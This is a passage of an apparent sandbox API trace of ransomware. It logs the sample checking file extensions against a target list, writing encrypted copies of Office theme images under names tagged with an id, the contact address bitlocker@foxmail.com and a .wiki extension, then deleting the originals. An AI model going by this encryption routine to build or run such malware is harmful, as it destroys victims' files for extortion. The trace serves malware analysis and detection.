lpString2=".PNG") returned 1 [0055.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0055.092] lstrlenW (lpString=".zip") returned 4 [0055.092] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0055.092] lstrlenW (lpString=".rar") returned 4 [0055.092] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0055.092] lstrlenW (lpString=".bz2") returned 4 [0055.092] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0055.092] lstrlenW (lpString=".7z") returned 3 [0055.092] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0055.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0055.092] lstrlenW (lpString=".dbf") returned 4 [0055.093] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0055.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0055.093] lstrlenW (lpString=".1cd") returned 4 [0055.093] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0055.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0055.093] lstrlenW (lpString=".jpg") returned 4 [0055.093] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0055.093] lstrcmpiW (lpString1=".PNG", lpString2=".wiki") returned -1 [0055.093] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0055.093] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0055.093] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=44302) returned 1 [0055.093] CloseHandle (hObject=0x220) returned 1 [0055.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png")) returned 0x20 [0055.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0055.093] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0055.093] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.094] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.094] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0055.094] GetLastError () returned 0x0 [0055.094] ReadFile (in: hFile=0x220, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0xad0e, lpOverlapped=0x0) returned 1 [0055.102] WriteFile (in: hFile=0x218, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xad10, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xad10, lpOverlapped=0x0) returned 1 [0055.104] ReadFile (in: hFile=0x220, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.104] WriteFile (in: hFile=0x218, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.104] SetEndOfFile (hFile=0x218) returned 1 [0055.104] CloseHandle (hObject=0x218) returned 1 [0055.104] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.104] SetEndOfFile (hFile=0x220) returned 1 [0055.105] CloseHandle (hObject=0x220) returned 1 [0055.105] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0055.105] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png")) returned 1 [0055.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0055.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0055.105] lstrlenW (lpString=".doc") returned 4 [0055.106] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0055.106] lstrlenW (lpString=".docx") returned 5 [0055.106] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0055.106] lstrlenW (lpString=".pdf") returned 4 [0055.106] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0055.106] lstrlenW (lpString=".xls") returned 4 [0055.106] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0055.106] lstrlenW (lpString=".xlsx") returned 5 [0055.106] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0055.106] lstrlenW (lpString=".ppt") returned 4 [0055.106] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0055.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0055.106] lstrlenW (lpString=".zip") returned 4 [0055.106] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0055.106] lstrlenW (lpString=".rar") returned 4 [0055.106] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0055.106] lstrlenW (lpString=".bz2") returned 4 [0055.106] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0055.106] lstrlenW (lpString=".7z") returned 3 [0055.106] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0055.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0055.106] lstrlenW (lpString=".dbf") returned 4 [0055.106] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0055.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0055.106] lstrlenW (lpString=".1cd") returned 4 [0055.106] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0055.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0055.106] lstrlenW (lpString=".jpg") returned 4 [0055.106] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0055.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0055.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0055.106] lstrlenW (lpString=".doc") returned 4 [0055.106] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0055.106] lstrlenW (lpString=".docx") returned 5 [0055.107] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0055.107] lstrlenW (lpString=".pdf") returned 4 [0055.107] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0055.107] lstrlenW (lpString=".xls") returned 4 [0055.107] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0055.107] lstrlenW (lpString=".xlsx") returned 5 [0055.107] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0055.107] lstrlenW (lpString=".ppt") returned 4 [0055.107] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0055.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0055.107] lstrlenW (lpString=".zip") returned 4 [0055.107] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0055.107] lstrlenW (lpString=".rar") returned 4 [0055.107] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0055.107] lstrlenW (lpString=".bz2") returned 4 [0055.107] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0055.107] lstrlenW (lpString=".7z") returned 3 [0055.107] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0055.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0055.107] lstrlenW (lpString=".dbf") returned 4 [0055.107] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0055.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0055.107] lstrlenW (lpString=".1cd") returned 4 [0055.107] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0055.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0055.107] lstrlenW (lpString=".jpg") returned 4 [0055.107] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0055.107] lstrcmpiW (lpString1=".PNG", lpString2=".wiki") returned -1 [0055.107] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0055.107] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0055.109] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=42453) returned 1 [0055.109] CloseHandle (hObject=0x220) returned 1 [0055.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png")) returned 0x20 [0055.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0055.109] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0055.109] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.109] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.109] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0055.109] GetLastError () returned 0x0 [0055.109] ReadFile (in: hFile=0x220, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0xa5d5, lpOverlapped=0x0) returned 1 [0055.112] WriteFile (in: hFile=0x218, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xa5e0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xa5e0, lpOverlapped=0x0) returned 1 [0055.113] ReadFile (in: hFile=0x220, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.113] WriteFile (in: hFile=0x218, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.113] SetEndOfFile (hFile=0x218) returned 1 [0055.114] CloseHandle (hObject=0x218) returned 1 [0055.114] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.114] SetEndOfFile (hFile=0x220) returned 1 [0055.115] CloseHandle (hObject=0x220) returned 1 [0055.115] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0055.115] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png")) returned 1 [0055.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0055.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0055.115] lstrlenW (lpString=".doc") returned 4 [0055.115] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0055.115] lstrlenW (lpString=".docx") returned 5 [0055.115] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0055.115] lstrlenW (lpString=".pdf") returned 4 [0055.115] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0055.115] lstrlenW (lpString=".xls") returned 4 [0055.115] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0055.115] lstrlenW (lpString=".xlsx") returned 5 [0055.115] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0055.115] lstrlenW (lpString=".ppt") returned 4 [0055.115] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0055.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0055.115] lstrlenW (lpString=".zip") returned 4 [0055.115] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0055.116] lstrlenW (lpString=".rar") returned 4 [0055.116] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0055.116] lstrlenW (lpString=".bz2") returned 4 [0055.116] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0055.116] lstrlenW (lpString=".7z") returned 3 [0055.116] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0055.116] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0055.116] lstrlenW (lpString=".dbf") returned 4 [0055.116] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0055.116] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0055.116] lstrlenW (lpString=".1cd") returned 4 [0055.116] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0055.116] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0055.116] lstrlenW (lpString=".jpg") returned 4 [0055.116] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0055.116] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0055.116] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0055.116] lstrlenW (lpString=".doc") returned 4 [0055.116] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0055.116] lstrlenW (lpString=".docx") returned 5 [0055.116] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0055.116] lstrlenW (lpString=".pdf") returned 4 [0055.116] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0055.116] lstrlenW (lpString=".xls") returned 4 [0055.116] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0055.116] lstrlenW (lpString=".xlsx") returned 5 [0055.116] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0055.116] lstrlenW (lpString=".ppt") returned 4 [0055.116] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0055.116] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0055.116] lstrlenW (lpString=".zip") returned 4 [0055.116] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0055.116] lstrlenW (lpString=".rar") returned 4 [0055.116] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0055.117] lstrlenW (lpString=".bz2") returned 4 [0055.117] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0055.117] lstrlenW (lpString=".7z") returned 3 [0055.117] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0055.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0055.117] lstrlenW (lpString=".dbf") returned 4 [0055.117] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0055.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0055.117] lstrlenW (lpString=".1cd") returned 4 [0055.117] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0055.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0055.117] lstrlenW (lpString=".jpg") returned 4 [0055.117] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0055.117] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0055.117] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0055.117] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0055.652] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1571) returned 1 [0055.652] CloseHandle (hObject=0x224) returned 1 [0055.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif")) returned 0x20 [0055.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0055.653] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0055.653] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.653] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.653] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0055.855] GetLastError () returned 0x0 [0055.855] ReadFile (in: hFile=0x224, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x623, lpOverlapped=0x0) returned 1 [0055.856] WriteFile (in: hFile=0x20c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x630, lpOverlapped=0x0) returned 1 [0056.074] ReadFile (in: hFile=0x224, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.074] WriteFile (in: hFile=0x20c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xea, lpOverlapped=0x0) returned 1 [0056.074] SetEndOfFile (hFile=0x20c) returned 1 [0056.074] CloseHandle (hObject=0x20c) returned 1 [0056.074] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.074] SetEndOfFile (hFile=0x224) returned 1 [0056.075] CloseHandle (hObject=0x224) returned 1 [0056.075] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0056.075] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif")) returned 1 [0056.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0056.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0056.075] lstrlenW (lpString=".doc") returned 4 [0056.075] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.075] lstrlenW (lpString=".docx") returned 5 [0056.075] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0056.075] lstrlenW (lpString=".pdf") returned 4 [0056.075] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.075] lstrlenW (lpString=".xls") returned 4 [0056.075] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.075] lstrlenW (lpString=".xlsx") returned 5 [0056.076] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0056.076] lstrlenW (lpString=".ppt") returned 4 [0056.076] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0056.076] lstrlenW (lpString=".zip") returned 4 [0056.076] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.076] lstrlenW (lpString=".rar") returned 4 [0056.076] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.076] lstrlenW (lpString=".bz2") returned 4 [0056.076] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.076] lstrlenW (lpString=".7z") returned 3 [0056.076] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0056.076] lstrlenW (lpString=".dbf") returned 4 [0056.076] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0056.076] lstrlenW (lpString=".1cd") returned 4 [0056.076] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0056.076] lstrlenW (lpString=".jpg") returned 4 [0056.076] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0056.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0056.076] lstrlenW (lpString=".doc") returned 4 [0056.076] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.076] lstrlenW (lpString=".docx") returned 5 [0056.076] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0056.076] lstrlenW (lpString=".pdf") returned 4 [0056.076] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.076] lstrlenW (lpString=".xls") returned 4 [0056.076] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.076] lstrlenW (lpString=".xlsx") returned 5 [0056.076] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0056.076] lstrlenW 